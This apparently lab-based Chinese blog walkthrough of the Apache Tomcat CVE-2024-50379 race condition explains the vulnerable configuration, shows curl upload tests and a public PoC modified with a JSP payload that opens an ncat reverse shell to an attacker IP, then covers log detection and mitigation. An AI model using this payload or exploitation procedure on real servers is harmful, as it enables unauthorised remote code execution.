Featured image of post CVE-2024-50379

CVE-2024-50379

Tomcat

Tomcat: CVE-2024-50379

漏洞概述

Apache Tomcat 是一个开源 Web 服务器和 Servlet 容器 。 Servlet 是一个 Java 类,它被创建在应用服务器上运行并处理客户端请求。它接收客户端的 HTTP 请求,进行处理,并生成正确的响应。Servlet 容器为 Java Servlet 提供运行时环境并管理它们的生命周期。

该漏洞影响以下版本的 Apache Tomcat:

  • Apache Tomcat 11.0.0-M1 至 11.0.1(在 11.0.2 或更高版本中修复)
  • Apache Tomcat 10.1.0-M1 to 10.1.33 (Fixed in 10.1.34 or later)
  • Apache Tomcat 9.0.0.M1 to 9.0.97 (Fixed in 9.0.98 or later)

CVE -2024-50379 是一个检查时使用时 Time-of-check Time-of-use(TOCTOU) 漏洞的例子。TOCTOU 漏洞源于检查资源和使用资源之间的竞争条件。换句话说,系统在检查资源状态之后、使用资源之前,资源发生了变化,系统最终停止使用已更改的资源。在此漏洞中,TOCTOU 竞争条件发生在不区分大小写的系统上的 JSP(Java 服务器页面)编译期间,前提是默认 servlet 具有写入权限。

技术背景分析

在易受攻击的服务器上利用该漏洞主要有两个条件:

首先,服务器允许用户上传和删除文件,也就是说,服务器配置为接受 HTTP 命令,例如 PUT 和 DELETE。通过在 web.xml 配置文件中将 readonly 设置为 false 来启用写入功能。注意,默认配置为 readonly。

1
2
3
4
<init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
</init-param>

下面是一个不安全配置的示例,其中应用程序服务器设置为默认允许写入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<servlet>
  <servlet-name>default</servlet-name>
  <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
  <init-param>
    <param-name>debug</param-name>
    <param-value>0</param-value>
  </init-param>
  <init-param>
    <param-name>listings</param-name>
    <param-value>false</param-value>
  </init-param>
  <init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
  </init-param>
  <load-on-startup>1</load-on-startup>
</servlet>

利用此漏洞的第二个条件是 Tomcat 运行在不区分大小写的系统上,例如 MS Windows 或 macOS。当满足这两个条件时,利用此漏洞就变成了与操作系统赛跑。

在 Linux 等区分大小写的系统上, demo.jspdemo.Jsp 是两个不同的文件。因此,在 Linux 系统上, documentsDocuments 共存于同一目录中并非不可能。

由于微软 Windows 系统不区分大小写,因此 demo.jspdemo.Jsp 不可能是两个不同的文件;然而,对于 Tomcat 来说,前者是一个可以执行的 Servlet,而后者则被视为文本文件。换句话说,微软 Windows 对待 demo.Jsp 和正确命名为 demo.jsp Servlet 没有任何区别;Tomcat 的大小写检查会阻止 demo.Jsp 被执行,从而避免将其视为可执行文件。

例如,如果我们尝试创建文件 demo.jsp ,使用 curl -X PUT -d "test" http://10.10.211.24:8080/demo.jsp 将会产生错误。由于 Servlet 可以在服务器端执行命令,因此出现此错误是意料之中的;因此,允许用户上传 .jsp 文件会赋予他们远程代码执行 ( RCE ) 的能力。在下面的终端中,我们看到一个示例错误。

1
2
root@yrc:~# curl -X PUT -d "test" http://10.10.211.24:8080/demo.jsp
<!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> JSP file [&#47;demo.jsp] not found</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/10.1.30</h3></body></html> 

让我们创建一个扩展名为 JspJSP 的文件。此步骤应该可以成功,因为 Tomcat 不会将此类扩展名视为可执行文件。我们可以看到 demo.Jsp 文件已在服务器上成功创建。

1
2
3
root@yrc:~# curl -X PUT -d "test" http://10.10.211.24:8080/demo.Jsp
root@yrc:~# curl http://10.10.211.24:8080/demo.Jsp
test

如果我们尝试访问 demo.Jsp ,在不区分大小写的系统中,它与 demo.jsp 没有什么不同,但 Tomcat 会区分大小写,检查扩展名并将其视为文本文件。结果表明,当服务器负载过重时,可能会出现竞争条件。 demo.Jsp 可能会被编译并作为 servlet 执行。由于系统不区分大小写,因此对 servlet 扩展名(如 JspJSP )的约束已经从操作系统转移到应用服务器。换句话说,当系统负载过重,并且同时读写同一个文件时,大小写检查可能会被绕过,导致上传的文件被作为 servlet 执行。

本次使用的tomcat版本为:10.1.25

不知道为什么,使用nmap -sV扫描扫不出版本。使用curl查看页面可以看到tomcat版本

image-20250417144624821

漏洞利用

了解了几个PoC,其中一个如下:

1
git clone https://github.com/iSee857/CVE-2024-50379-PoC

我们将对该脚本进行两处更改:

修改循环计数器 :在指定实验环境中,我们注意到将四个请求中的每一个重复 2000 次而不是 10000 次效率更高。

更改有效载荷 :为了进行更有趣的利用,我们将使用反向 shell,而不是在目标系统上启动计算器。

修改循环计数器

原始 PoC 代码在第 43 行重复了 10000 次 for 循环。为了获得更高效的结果,将次数降低到 2000。更新后的行如下所示:

1
2
3
4
5
6
#...
futures = []
# 循环执行10000次
# for _ in range(10000):
for _ in range(2000):
# ...

更改有效载荷

此 PoC 漏洞利用使用了一个打开 calc.exe Payload,可以从第 37 行推断出来。为了简化此漏洞利用,我们在 MS Windows 服务器上安装了 ncat 。因此,我们将用另一个连接到攻击者系统的 Payload 替换该 Payload。注释掉的 Payload 和新的 Payload 如下所示。

1
2
# payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"
payload_put = "<%@ page import=\"java.io.*\" %><% Runtime.getRuntime().exec(\"cmd /c start ncat -e cmd.exe 10.10.241.219 8888\"); %>"

此有效载荷使用 JSP 的 Runtime.getRuntime().exec() 来执行 cmd /c start ncat -e cmd.exe 10.10.241.219 8888 。如上所述,这是可能的,因为我们为了演示目的安装了 ncat

开始

在运行此 PoC 之前,我们需要监听传入的连接。让我们使用 netcat -lvnp 8888 在 攻击机上启动 netcat

image-20250417145126222

接下来,在攻击机上,我们使用命令 python3 ApachTomcat_CVE-2024-50379_ConditionalCompetitionToRce.py -u 10.10.211.24:8080 运行漏洞利用程序。

注 1: 运行此命令将显示类似 Checking http://10.10.211.24:8080/... 的消息,并且终端将停止显示更新几分钟。在此期间,漏洞代码会发送大量请求,导致目标服务器过载,并成功产生竞争条件。请等待脚本执行,同时观察终端运行 netcat -lvnp 8888 命令的情况。耐心是关键。

注 2: 由于这是一个竞争条件漏洞,您可能需要重复 PoC 多次才能成功。

当漏洞利用成功时,将与正在监听的 netcat 建立连接。

image-20250417150039295

漏洞检测

由于该漏洞依赖于竞争条件成功,并且每次利用尝试都需要上传文件,因此很容易在网络访问日志中检测到(默认位于 C:\Program Files\Apache Software Foundation\<Tomcat Version>\logs\*access_log* 文件中)。对文件上传不受限制的网站进行的最简单攻击将记录如下:

  1. PUT 请求上传带有大写( .Jsp.JSP )扩展名的文件( "PUT /cve.Jsp"
  2. 紧接着向同一个文件发出 GET 请求,但现在是向 .jsp 扩展名发出请求( "GET /cve.jsp"
  3. GET 请求将记录 200404 状态代码,具体取决于竞争条件是否成功
  4. 重复上述步骤,直到竞争条件成功;通常需要 1000 次或更多次尝试
1
2
3
4
5
6
7
8
9
10.14.97.15 - - [30/Jan/2025:14:25:34 +0000] "PUT /cve.Jsp HTTP/1.1" 201 -
10.14.97.15 - - [30/Jan/2025:14:25:34 +0000] "GET /cve.jsp HTTP/1.1" 404 749
...
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 409 654
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 404 749
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 204 -
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 404 749
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "PUT /cve.Jsp HTTP/1.1" 204 -
10.14.97.15 - - [30/Jan/2025:14:25:39 +0000] "GET /cve.jsp HTTP/1.1" 200 32

假设目标 Web 服务器不允许通过 PUT 直接上传文件,但仍具有一些 Web 上传功能(例如图片或文件上传功能)。在这种情况下,攻击将具有类似的迭代模式:首先请求 Web 上传表单,然后请求上传的恶意 JSP 文件:

1
2
3
4
5
6
7
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 404 749
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 404 749
...
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "POST /app/template-upload.jsp HTTP/1.1" 200 782
223.199.178.14 - - [31/Jan/2025:18:32:11 +0000] "GET /uploads/revshell.jsp HTTP/1.1" 200 32

系统日志

除了基于 Web 的检测之外,还可以使用默认的 Windows 事件日志或 Sysmon 等专用工具在操作系统和文件系统级别跟踪攻击。简而言之,可以围绕以下方面构建检测:

  • 文件创建 :上传的 JSP 文件会保留在 Web 根目录中,除非威胁参与者手动删除它们。任何名称可疑的 JSP 文件(例如 revshell.jsp )或包含 .exec() 等字符串的无法识别的 JSP 文件都可能表明存在攻击。
  • 进程执行 :上传的 JSP 文件通常需要启动子进程才能实现代码执行。在 Windows 上,如果发现 Apache Tomcat 启动了 CMD 或 PowerShell 进程,则可能是另一个可靠的攻击指标。

缓解措施

务必检查是否已为 servlet 启用了 write 权限。如果默认配置保持不变,即 readonly 未设置为 false ,则不会受到影响。如果 readonly 已设置为 false ,且您的用例不需要该权限,请将其重新设置为 true

缓解措施已在官方公告中概述。用户应考虑以下两点。首先,用户应升级已安装的 Apache Tomcat。具体如下:

  • Apache Tomcat 11.0.0-M1 到 11.0.1 的用户应升级到 11.0.3 或更高版本。
  • Apache Tomcat 10.1.0-M1 到 10.1.33 的用户应升级到 10.1.35 或更高版本。
  • Apache Tomcat 9.0.0.M1 到 9.0.97 的用户应升级到 9.0.99 或更高版本。

对于仅升级到 11.0.2、10.1.34 或 9.98 的用户,需要执行其他步骤。特别是,旧版本 Java 的用户需要进行相关的显式更改:

  • 在使用 Java 8 或 Java 11 的系统上,系统属性 sun.io.useCanonCaches 应从默认值更改为 false
  • 在使用 Java 17 的系统上,如果系统属性 sun.io.useCanonCaches 的默认值已更改,则应将其恢复为 false

需要注意的是,Tomcat 11.0.3、10.1.35、9.0.99 及更高版本包含检查以确保 sun.io.useCanonCaches 设置正确。

使用 Hugo 构建
主题 StackJimmy 设计